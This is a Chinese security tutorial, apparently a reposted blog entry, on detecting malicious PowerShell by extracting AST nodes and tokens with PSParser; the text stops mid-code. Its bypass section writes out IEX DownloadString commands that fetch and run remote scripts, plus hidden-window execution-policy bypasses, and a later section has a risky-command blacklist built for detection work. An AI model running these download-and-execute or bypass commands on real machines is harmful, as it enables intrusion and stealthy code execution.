日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取

發(fā)布時(shí)間:2024/6/1 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

“網(wǎng)絡(luò)安全提高班”新的100篇文章即將開啟,包括Web滲透、內(nèi)網(wǎng)滲透、靶場搭建、CVE復(fù)現(xiàn)、攻擊溯源、實(shí)戰(zhàn)及CTF總結(jié),它將更加聚焦,更加深入,也是作者的慢慢成長史。換專業(yè)確實(shí)挺難的,Web滲透也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學(xué)到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~

前文簡單介紹了抽象語法樹的抽取方法,通過官方提供的接口實(shí)現(xiàn),包括抽象語法樹可視化和節(jié)點(diǎn)提取。這篇文章將詳細(xì)介紹Token關(guān)鍵詞的抽取方法,它是指Powershell中具有特定含義的字段,主要通過官方提供的接口實(shí)現(xiàn)。希望這篇文章對(duì)您有幫助,也推薦大家去閱讀論文,且看且珍惜。

文章目錄

  • 一.Powershell基礎(chǔ)知識(shí)
    • 1.高威脅
    • 2.基礎(chǔ)語法
    • 3.Bypass
  • 二.powershell.one
    • 1.概念
    • 2.訪問AST
  • 三.Tokenizing PowerShell Scripts
    • 1.Token多彩的世界
    • 2.PSParser 概述
    • 3.Tokenizing PowerShell
  • 四.Token提取實(shí)例
    • 1.基礎(chǔ)用法
      • (1) 提取AST
      • (2) 提取Token
      • (3) 提取變量和命令列表
    • 2.批量分析
    • 3.提取token對(duì)應(yīng)的text
  • 五.自動(dòng)提取Powershell的AST和Token實(shí)例
  • 六.總結(jié)

作者作為網(wǎng)絡(luò)安全的小白,分享一些自學(xué)基礎(chǔ)教程給大家,主要是關(guān)于安全工具和實(shí)踐操作的在線筆記,希望您們喜歡。同時(shí),更希望您能與我一起操作和進(jìn)步,后續(xù)將深入學(xué)習(xí)網(wǎng)絡(luò)安全和系統(tǒng)安全知識(shí)并分享相關(guān)實(shí)驗(yàn)。總之,希望該系列文章對(duì)博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對(duì)您有幫助,將是我創(chuàng)作的最大動(dòng)力,點(diǎn)贊、評(píng)論、私聊均可,一起加油喔~

  • 自學(xué)篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
  • 系統(tǒng)安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

聲明:本人堅(jiān)決反對(duì)利用教學(xué)方法進(jìn)行犯罪的行為,一切犯罪行為必將受到嚴(yán)懲,綠色網(wǎng)絡(luò)需要我們共同維護(hù),更推薦大家了解它們背后的原理,更好地進(jìn)行防護(hù)。

提高篇:(自學(xué)系列100篇目錄放在文章末尾)

  • [網(wǎng)絡(luò)安全提高班] 一〇一.網(wǎng)絡(luò)空間安全普及和醫(yī)療數(shù)據(jù)安全防護(hù)總結(jié)
  • [網(wǎng)絡(luò)安全提高篇] 一〇二.Metasploit技術(shù)之基礎(chǔ)用法萬字詳解及MS17-010漏洞復(fù)現(xiàn)
  • [網(wǎng)絡(luò)安全提高篇] 一〇三.Metasploit后滲透技術(shù)之信息收集、權(quán)限提權(quán)、移植漏洞模塊和后門
  • [網(wǎng)絡(luò)安全提高篇] 一〇四.網(wǎng)絡(luò)滲透靶場Oracle+phpStudy本地搭建萬字詳解(SQL注入、XSS攻擊、文件上傳漏洞)
  • [網(wǎng)絡(luò)安全提高篇] 一〇五.SQL注入之揭秘Oracle數(shù)據(jù)庫注入漏洞和致命問題(聯(lián)合Cream老師)
  • [網(wǎng)絡(luò)安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入門案例詳解
  • [網(wǎng)絡(luò)安全提高篇] 一〇七.安全威脅框架理解及勒索病毒取證溯源分析(藍(lán)隊(duì))
  • [網(wǎng)絡(luò)安全提高篇] 一〇八.Powershell和PowerSploit腳本攻擊詳解 (1)
  • [網(wǎng)絡(luò)安全提高篇] 一〇九.津門杯CTF的Web Write-Up萬字詳解(SSRF、文件上傳、SQL注入、代碼審計(jì)、中國蟻劍)
  • [網(wǎng)絡(luò)安全提高篇] 一一〇.強(qiáng)網(wǎng)杯CTF的Web Write-Up(上) 尋寶、賭徒、EasyWeb、pop_master
  • [網(wǎng)絡(luò)安全提高篇] 一一一.ISC會(huì)議觀后感之網(wǎng)絡(luò)安全需要新戰(zhàn)法和新框架
  • [網(wǎng)絡(luò)安全提高篇] 一一二.DataCon Coremail郵件安全競賽之釣魚郵件識(shí)別及分類
  • [網(wǎng)絡(luò)安全提高篇] 一一三.Powershell惡意代碼檢測(cè) (1)論文總結(jié)及抽象語法樹(AST)提取
  • [網(wǎng)絡(luò)安全提高篇] 一一四.Powershell惡意代碼檢測(cè) (2)抽象語法樹自動(dòng)提取萬字詳解
  • [網(wǎng)絡(luò)安全提高篇] 一一五.Powershell惡意代碼檢測(cè) (3)Token關(guān)鍵詞自動(dòng)提取

一.Powershell基礎(chǔ)知識(shí)

1.高威脅

近年來,Powershell 由于其易用性強(qiáng)、隱蔽性高的特點(diǎn)被廣泛應(yīng)用于 APT 攻擊中,傳統(tǒng)的基于人工特征提取和機(jī)器學(xué)習(xí)方法的惡意代碼檢測(cè)技術(shù)在 Powershell 惡意代碼檢測(cè)中越來越難以有效。

Microsoft 的 PowerShell 是一種命令行 shell 和腳本語言,默認(rèn)安裝在 Windows 機(jī)器上。它基于微軟的.NET 框架,包括一個(gè)允許程序員訪問操作系統(tǒng)服務(wù)的接口。雖然管理員可以配置 PowerShell 以限制訪問和減少漏洞,但可以繞過這些限制。此外,PowerShell 命令可以輕松地動(dòng)態(tài)生成、從內(nèi)存中執(zhí)行、編碼和混淆,從而使 PowerShell 執(zhí)行的代碼的日志記錄和取證分析具有挑戰(zhàn)性。

由于這些原因,PowerShell 越來越多地被網(wǎng)絡(luò)犯罪分子用作其攻擊工具鏈的一部分,主要用于下載惡意內(nèi)容和橫向移動(dòng)。事實(shí)上,賽門鐵克最近一份關(guān)于 PowerShell 被網(wǎng)絡(luò)犯罪分子濫用的綜合技術(shù)報(bào)告報(bào)告稱,他們收到的惡意 PowerShell 樣本數(shù)量以及使用 PowerShell 的滲透工具和框架的數(shù)量急劇增加。這凸顯了開發(fā)檢測(cè)惡意 PowerShell 命令的有效方法的迫切需要。


2.基礎(chǔ)語法

此外,在滲透測(cè)試中,Powershell是不能忽略的一個(gè)環(huán)節(jié),而且仍在不斷地更新和發(fā)展,它具有良好的靈活性和功能化管理Windows系統(tǒng)的能力。一旦攻擊者可以在一臺(tái)計(jì)算機(jī)上運(yùn)行代碼,就會(huì)下載PowerShell腳本文件(.ps1)到磁盤中執(zhí)行,甚至無須寫到磁盤中執(zhí)行,它就可以直接在內(nèi)存中運(yùn)行。

這些特點(diǎn)使得PowerShell在獲得和保持對(duì)系統(tǒng)的訪問權(quán)限時(shí),成為攻擊者首選的攻擊手段,利用PowerShell的諸多特點(diǎn),攻擊者可以持續(xù)攻擊而不被輕易發(fā)現(xiàn)。常用的PowerShell攻擊工具有以下幾種。

  • PowerSploit
    這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期漏洞利用框架,常用于信息探測(cè)、特權(quán)提升、憑證竊取、持久化等操作。
  • Nishang
    基于PowerShell的滲透測(cè)試專用工具,集成了框架、腳本和各種Payload,包含下載和執(zhí)行、鍵盤記錄、DNS、延時(shí)命令等腳本。
  • Empire
    基于PowerShell的遠(yuǎn)程控制木馬,可以從憑證數(shù)據(jù)庫中導(dǎo)出和跟蹤憑據(jù)信息,常用于提供前期漏洞利用的集成模塊、信息探測(cè)、憑據(jù)竊取、持久化控制。
  • PowerCat
    PowerShell版的NetCat,有著網(wǎng)絡(luò)工具中的“瑞士軍刀”美譽(yù),它能通過TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。通過與其他工具結(jié)合和重定向,讀者可以在腳本中以多種方式使用它。

在PowerShell下,類似“cmd命令”叫作“cmdlet”,其命名規(guī)范相當(dāng)一致,都采用“動(dòng)詞-名詞”的形式,如New-Item,動(dòng)詞部分一般為Add、New、Get、Remove、Set等,命名的別名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不區(qū)分大小寫。

下面以文件操作為例講解PowerShell命令的基本用法。

  • 新建目錄:New-Item whitecellclub-ItemType Directory
  • 新建文件:New-Item light.txt-ItemType File
  • 刪除目錄:Remove-Item whitecellclub
  • 顯示文件內(nèi)容:Get-Content test.txt
  • 設(shè)置文件內(nèi)容:Set-Content test.txt-Value “hello,world!”
  • 追加內(nèi)容:Add-Content light.txt-Value “i love you”
  • 清除內(nèi)容:Clear-Content test.txt

舉個(gè)簡單的示例:

New-Item test -ItemType directory Remove-Item test New-Item eastmount.txt -ItemType file -value "hello csdn" Get-Content eastmount.txt Add-Content eastmount.txt -Value " bye!" Get-Content eastmount.txt Set-Content eastmount.txt -Value "haha" Get-Content eastmount.txt Clear-Content eastmount.txt Get-Content eastmount.txt Remove-Item eastmount.txt Get-Content eastmount.txt


3.Bypass

經(jīng)過測(cè)試,在cmd窗口執(zhí)行過程下載的PowerShell腳本,不論當(dāng)前策略,都可以直接運(yùn)行。而如果要在PowerShell窗口運(yùn)行腳本程序,必須要管理員權(quán)限將Restricted策略改成Unrestricted,所以在滲透時(shí),就需要采用一些方法繞過策略來執(zhí)行腳本。

(1) 下載遠(yuǎn)程PowerShell腳本繞過權(quán)限執(zhí)行
調(diào)用DownloadString函數(shù)下載遠(yuǎn)程的ps1腳本文件。

//cmd窗口執(zhí)行以下命令 powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')//在powershell窗口執(zhí)行 IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

下圖引用謝公子的圖片,切換到CMD窗口運(yùn)行。

(2) 繞過本地權(quán)限執(zhí)行
上傳xxx.ps1至目標(biāo)服務(wù)器,在CMD環(huán)境下,在目標(biāo)服務(wù)器本地執(zhí)行該腳本,如下所示。

PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1powershell -exec bypass .\test.ps1

(3) 本地隱藏繞過權(quán)限執(zhí)行腳本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1

舉個(gè)示例:

  • powershell.exe -exec bypass -W hidden -nop test.ps1

(4) 用IEX下載遠(yuǎn)程PS1腳本繞過權(quán)限執(zhí)行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile -NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

函數(shù)定義:

function Test-MrParameter {param ([string]$ComputerName)Write-Output $ComputerNameWrite-Output ($ComputerName+$ComputerName)Write-Output ($ComputerName+$ComputerName+$ComputerName) }

查看和使用函數(shù):

Get-Command -Name Test-MrParameter -Syntax Test-MrParameter -ComputerName 'this is a computer name' pause

輸出結(jié)果:

Test-MrParameter [[-ComputerName] <Object>]this is a computer name 按 Enter 鍵繼續(xù)...:

二.powershell.one

PowerShell 的抽象語法樹作為代碼的語義表達(dá),以多叉樹的形式表示腳本功能的邏輯結(jié)構(gòu),保留了代碼上下文的特征并剔除無關(guān)的參數(shù)干擾,是分析功能類似的PowerShell代碼的有效方法 。常見方法是使用接口或編寫自定義程序?qū)崿F(xiàn)。前文介紹了第一種方法,這篇文章將介紹官方提供的接口。

  • Deobshell
    https://github.com/thewhiteninja/deobshell
  • powershell.one => Convert-CodeToAst
    https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree#ast-object-inheritance

Windows 為PowerShell提供了訪問腳本AST的接口,使用內(nèi)置接口獲取的 AST 結(jié)構(gòu)如圖所示。

The Abstract Syntax Tree (AST) groups tokens into meaningful structures and is the most sophisticated way of analyzing PowerShell code.

1.概念

PowerShell解析器將單個(gè)字符轉(zhuǎn)換為有意義的關(guān)鍵字并區(qū)分例如命令、參數(shù)和變量,這稱為標(biāo)記化,之前已介紹過。例如,編輯器使用這些標(biāo)記為代碼著色并以與命令不同的顏色顯示變量。

解析器并不止于此。為了讓PowerShell執(zhí)行代碼,它需要知道各個(gè)令牌如何形成可以執(zhí)行的結(jié)構(gòu)。解析器獲取標(biāo)記并構(gòu)建一個(gè)抽象語法樹(AST),它基本上將標(biāo)記分組為有意義的結(jié)構(gòu)。

抽象語法樹之所以稱為樹,是因?yàn)樗墓ぷ鞣绞筋愃朴诜謱訕洹owerShell從第一個(gè)標(biāo)記開始,然后采用PowerShell語言定義(語法)來查看下一個(gè)可能的標(biāo)記可能是什么。這樣,解析器就可以通過代碼工作。

  • 情況1:PowerShell成功并創(chuàng)建代碼的有效結(jié)構(gòu)
  • 情況2:遇到并引發(fā)語法錯(cuò)誤


2.訪問AST

從PowerShell 3 開始,抽象語法樹向您公開,因此您現(xiàn)在也可以分析PowerShell代碼并了解其內(nèi)部結(jié)構(gòu)。訪問 AST 的主要方法有兩種:

  • ScriptBlock(代碼塊):一個(gè)scriptblock是一個(gè)有效的PowerShell代碼塊,所以它已經(jīng)被解析器處理過了,并且解析器保證代碼中沒有語法錯(cuò)誤。每個(gè)scriptblock都有一個(gè)名為AST的屬性,它公開了scriptblock中包含的代碼的抽象語法樹。
  • Parser(解析器):您可以要求PowerShell解析器解析任意代碼并返回令牌和AST。當(dāng)您輸入和執(zhí)行代碼時(shí),您基本上是在模仿PowerShell所做的事情。因?yàn)榻馕銎魈幚碓嘉谋?#xff0c;所以不能保證代碼在語法上是正確的。這就是解析器還返回它發(fā)現(xiàn)的任何語法錯(cuò)誤的原因。

查看AST的簡單示例如下圖所示,您可以查看解析器構(gòu)建的抽象語法樹(AST)。

$code.Invoke() $code = { "Hello" * 10 } $code.Ast

輸出結(jié)果如下圖所示:

這可以用來創(chuàng)建一個(gè)簡單的測(cè)試函數(shù)來識(shí)別PowerShell代碼

function Test-PowerShellCode {param([string]$Code)try{# try and convert string to scriptblock:$null = [ScriptBlock]::Create($Code)}catch{# the parser is invoked implicitly and returns# syntax errors as exceptions:$_.Exception.InnerException.Errors} }

抽象語法樹(AST) 是Ast對(duì)象的樹。這棵樹的頂部是解析器返回給您的內(nèi)容。遍歷抽象語法樹時(shí)遇到的任何Ast對(duì)象都具有Parent和Extent屬性。Parent定義樹關(guān)系,Extent定義Ast對(duì)象涵蓋的PowerShell代碼。

常見方法如下:

Name Signature ---- --------- Copy System.Management.Automation.Language.Ast Copy() Find System.Management.Automation.Language.Ast Find(System.Func[System.Management.Automation.Language.Ast,bool] predicate, bool searchNestedScriptBlocks) FindAll System.Collections.Generic.IEnumerable[System.Management.Automation.Language.Ast] FindAll(System.Func[System.Management.Automation.Language.Ast,bool] predicate, b... Visit System.Object Visit(System.Management.Automation.Language.ICustomAstVisitor astVisitor), void Visit(System.Management.Automation.Language.AstVisitor astVisitor)

三.Tokenizing PowerShell Scripts

通過將 PowerShell 代碼轉(zhuǎn)換為標(biāo)記和結(jié)構(gòu),您可以發(fā)現(xiàn)錯(cuò)誤、自動(dòng)記錄您的代碼并創(chuàng)建強(qiáng)大的重構(gòu)工具。

  • https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer

1.Token多彩的世界

每當(dāng)您將PowerShell代碼加載到專門的編輯器中時(shí),代碼都會(huì)被神奇地著色,如下圖VS Code所示,并且每種顏色都代表一個(gè)給定的標(biāo)記類型。顏色可以幫助您了解PowerShell如何解釋您的代碼。

沒有內(nèi)置PowerShell引擎(如notepad++或VSCode)的通用編輯器使用復(fù)雜的正則表達(dá)式來嘗試正確識(shí)別tokens。然而,想要100%精確的tokens,可以直接使用PowerShell解析器(PowerShell Parser),而不是通用RegEx規(guī)則。在本文中,我們將分享PowerShell解析器的優(yōu)點(diǎn)。

  • Token:本文理解為關(guān)鍵字段,自動(dòng)解析每個(gè)標(biāo)簽的含義,比如變量定義、函數(shù)、關(guān)鍵詞等。

接下來您將獲得一個(gè)新的命令:

  • Test-PSOneScript

它能解析一個(gè)或數(shù)千個(gè)PowerShell文件并立即返回100%準(zhǔn)確的Token。它是我們 PSOneTools 模塊的一部分,因此只需安裝最新版本即可使用該命令,或使用提供的源代碼。

Install-Module -Name PSOneTools -Scope CurrentUser -Force

當(dāng)我們得到Token(令牌)后,還可以做很多有趣的事情,例如:

  • 自動(dòng)記錄代碼并創(chuàng)建在腳本中找到的變量、命令或方法調(diào)用列表
  • 識(shí)別導(dǎo)致解析器阻塞的語法錯(cuò)誤
  • 使用有風(fēng)險(xiǎn)的命令執(zhí)行安全分析并識(shí)別腳本

2.PSParser 概述

PSParser是PowerShell早期版本中內(nèi)置的原始解析器。盡管它很舊,但它仍然是所有PowerShell版本的一部分,并且由于其簡單性而非常有用。

它區(qū)分了 20 種不同的令牌類型:

PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]).Count 20PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]) | Sort-Object Attribute Command CommandArgument CommandParameter Comment GroupEnd GroupStart Keyword LineContinuation LoopLabel Member NewLine Number Operator Position StatementSeparator String Type Unknown Variable

當(dāng)您使用PSParser對(duì)PowerShell代碼進(jìn)行標(biāo)記時(shí),它會(huì)逐個(gè)字符地讀取您的代碼并將這些字符分組為有意義的單詞,即tokens。如果PSParser遇到它不期望的字符,它會(huì)生成Syntax Errors,即當(dāng)字符串以雙引號(hào)開頭但以單引號(hào)結(jié)尾時(shí)。


3.Tokenizing PowerShell

使用 Tokenize() 對(duì)PowerShell 代碼進(jìn)行標(biāo)記。這是一個(gè)簡單的例子,假設(shè)存在“get_token_001.ps1”代碼。

Tokenize()需要您要標(biāo)記的代碼,以及一個(gè)可以填充任何語法錯(cuò)誤的空變量。因?yàn)樽兞?errors在Tokenize啟動(dòng)時(shí)是空的,并且在方法解析代碼時(shí)被填充,所以它需要通過引用(內(nèi)存指針)提交,這在PowerShell中是通過[ref]完成的。

當(dāng)Tokenize()完成時(shí),您會(huì)在變量tokens中收到所有令牌作為返回值,以及errors中的任何語法錯(cuò)誤。

  • $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)
  • $syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message

具體代碼如下:

# the code that you want tokenized: $code = {# this is some test code$service = Get-Service |Where-Object Status -eq Running }# create a variable to receive syntax errors: $errors = $null # tokenize PowerShell code: $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)# analyze errors: if ($errors.Count -gt 0) {# move the nested token up one level so we see all properties:$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$syntaxError } else {$tokens }

輸出結(jié)果如下圖所示,每個(gè)Token都由一個(gè)PSToken對(duì)象表示,該對(duì)象以字符串形式返回令牌內(nèi)容、令牌類型以及找到令牌的確切位置。

  • 注釋
Content : # this is some test code Type : Comment Start : 4 Length : 24 StartLine : 2 StartColumn : 3 EndLine : 2 EndColumn : 27
  • 變量
Content : service Type : Variable Start : 32 Length : 8 StartLine : 3 StartColumn : 3 EndLine : 3 EndColumn : 11
  • 運(yùn)算
Content : = Type : Operator Start : 41 Length : 1 StartLine : 3 StartColumn : 12 EndLine : 3 EndColumn : 13
  • 命令
Content : Get-Service Type : Command Start : 43 Length : 11 StartLine : 3 StartColumn : 14 EndLine : 3 EndColumn : 25Content : Where-Object Type : Command Start : 62 Length : 12 StartLine : 4 StartColumn : 5 EndLine : 4
  • 實(shí)參和形參
Content : Status Type : CommandArgument Start : 75 Length : 6 StartLine : 4 StartColumn : 18 EndLine : 4 EndColumn : 24Content : Running Type : CommandArgument Start : 86 Length : 7 StartLine : 4 StartColumn : 29 EndLine : 4 EndColumn : 36

如果解析器在解析代碼時(shí)遇到意外字符,則會(huì)生成語法錯(cuò)誤。解析器繼續(xù)解析,因此可能會(huì)返回多個(gè)語法錯(cuò)誤。解析器為每個(gè)語法錯(cuò)誤發(fā)出一個(gè)PSParseError對(duì)象,如下所示:


四.Token提取實(shí)例

要檢查真正的基于文件的腳本,只需將上面的邏輯嵌入到管道感知函數(shù)中。Test-PSOneScript 正是這樣做的,并使解析PowerShell文件變得輕而易舉:

function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding Default# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }

由于本文主要針對(duì)Powershell文件的token提取,所以檢查語法錯(cuò)誤的功能建議讀者查看官方網(wǎng)站。

1.基礎(chǔ)用法

解析單個(gè)文件,只需將其路徑提交到Test-PSOneScript,它立即返回標(biāo)記和任何語法錯(cuò)誤(如果存在)。

$Path = "C:\Users\tobia\test.ps1" $result = Test-PSOneScript -Path $Path

本文嘗試解析“data\example-004.ps1”文件。該文件的Powershell內(nèi)容如下:

$service = Get-Service | Where-Object Status -eq Running

(1) 提取AST

這里先給出一張上一篇文章解析的抽象語法樹(AST)圖。

function Convert-CodeToAst {param([Parameter(Mandatory)] # 強(qiáng)制參數(shù)[System.String]$str # 執(zhí)行ps文件名稱)# 構(gòu)建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的內(nèi)容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 創(chuàng)建Scipt代碼塊$code = [ScriptBlock]::Create($content)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id, $Indent = 0){# 每級(jí)縮進(jìn)$space = '--' * $indent$hierarchy[$id] | ForEach-Object {# 輸出AST對(duì)象'{0}[{1}]: {2}' -f $space, $_.GetType().Name, $_.Extent# 獲取當(dāng)前AST對(duì)象的id$newid = $_.GetHashCode()# 遞歸其子節(jié)點(diǎn)(if any)if ($hierarchy.ContainsKey($newid)) {Visualize-Tree -id $newid -indent ($indent + 1)}}}# 使用AST根對(duì)象開始可視化Visualize-Tree -id $code.Ast.GetHashCode()return $result }Convert-CodeToAst -str .\data\example-004.ps1

輸出結(jié)果如下所示:

(2) 提取Token

提取單個(gè)文件Token的代碼如下所示:

function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }# 執(zhí)行函數(shù) $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique# 輸出結(jié)果 Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens)

其中,檢查腳本文件是否有語法錯(cuò)誤的核心代碼如下:

$result.Errors.Count -gt 0 False

獲取腳本中存在的所有令牌類型的列表核心代碼如下:

$result.Tokens.Type | Sort-Object -Unique

最終輸出結(jié)果如下圖所示:

如果輸入代碼是“$a = 1”,則輸出結(jié)果如下圖所示:


(3) 提取變量和命令列表

要獲取腳本中使用的所有變量的列表,只需過濾標(biāo)記類型Variable。同樣,如果您想獲取腳本使用的命令列表,請(qǐng)過濾適當(dāng)?shù)牧钆祁愋?( Command )。

# 執(zhí)行函數(shù) $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens,"`n")# 提取變量列表 $variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content} Write-Output ("Get Variables:") Write-Output ($variables,"`n")# 提取命令列表 $commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content Write-Output ("Get Commands:") Write-Output ($commands,"`n")# 提取.NET方法列表 $members = $result.Tokens | Where-Object Type -eq Member | Select-Object -ExpandProperty Content |Sort-Object -Unique Write-Output ("Get Members:") Write-Output ($members,"`n")

您甚至可以分析命令的使用頻率。這將為您提供 10 個(gè)最常用的命令。

PS> $result.Tokens | Where-Object Type -eq Command | Select-Object -ExpandProperty Content |Group-Object -NoElement |Sort-Object -Property Count -Descending |Select-Object -First 10Count Name ----- ---- 51 Search-AD 49 New-Object 35 Write-Verbose 29 get-date 25 % 24 New-TimeSpan 24 Where 21 select 19 Sort-Object 17 Invoke-Method

2.批量分析

Test-PSOneScript不能一次只檢查一個(gè)文件。它完全支持管道,并且知道如何處理Get-ChildItem.

(1) 查找有錯(cuò)誤的腳本
如果您想在腳本庫中的任何位置識(shí)別具有語法錯(cuò)誤的腳本,只需運(yùn)行Get-ChildItem以收集要測(cè)試的文件,并將它們通過管道傳輸?shù)絋est-PSOneScript如下所示:

# get all PowerShell files from your user profile... Get-ChildItem -Path $home -Recurse -Include *.ps1, *.psd1, *.psm1 -File |# ...parse them...Test-PSOneScript |# ...filter those with syntax errors...Where-Object Errors |# ...expose the errors:ForEach-Object {[PSCustomObject]@{Name = $_.NameError = $_.Errors[0].MessageType = $_.Errors[0].TypeLine = $_.Errors[0].StartLineColumn = $_.Errors[0].StartColumnPath = $_.Path}}

(2) 識(shí)別有風(fēng)險(xiǎn)的命令
如果您想識(shí)別使用有風(fēng)險(xiǎn)命令的腳本,例如Invoke-Expression,只需調(diào)整過濾器。

$blacklist = @('Invoke-Expression', 'Stop-Computer', 'Restart-Computer')# get all PowerShell files from your user profile... Get-ChildItem -Path $home -Recurse -Include *.ps1, *.psd1, *.psm1 -File | # ...parse them... Test-PSOneScript | # ...filter those using commands in our blacklist Foreach-Object {# get the first token that is a command and that is in our blacklist$badToken = $_.Tokens.Where{$_.Type -eq 'Command'}.Where{$_.Content -in $blacklist} | Select-Object -First 1if ($badToken){$_ | Add-Member -MemberType NoteProperty -Name BadToken -Value $badToken -PassThru}} |# ...expose the errors:ForEach-Object {[PSCustomObject]@{Name = $_.NameOffender = $_.BadToken.ContentLine = $_.BadToken.StartLineColumn = $_.BadToken.StartColumnPath = $_.Path}}

3.提取token對(duì)應(yīng)的text

前面3.3部分介紹了一個(gè)案例,主要是調(diào)用PSToken Class提取Token內(nèi)容,其屬性是可以直接調(diào)用的。因此,接下來我們嘗試提取token對(duì)應(yīng)的text。

完整代碼如下:

# 函數(shù):提取Token內(nèi)容 function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax 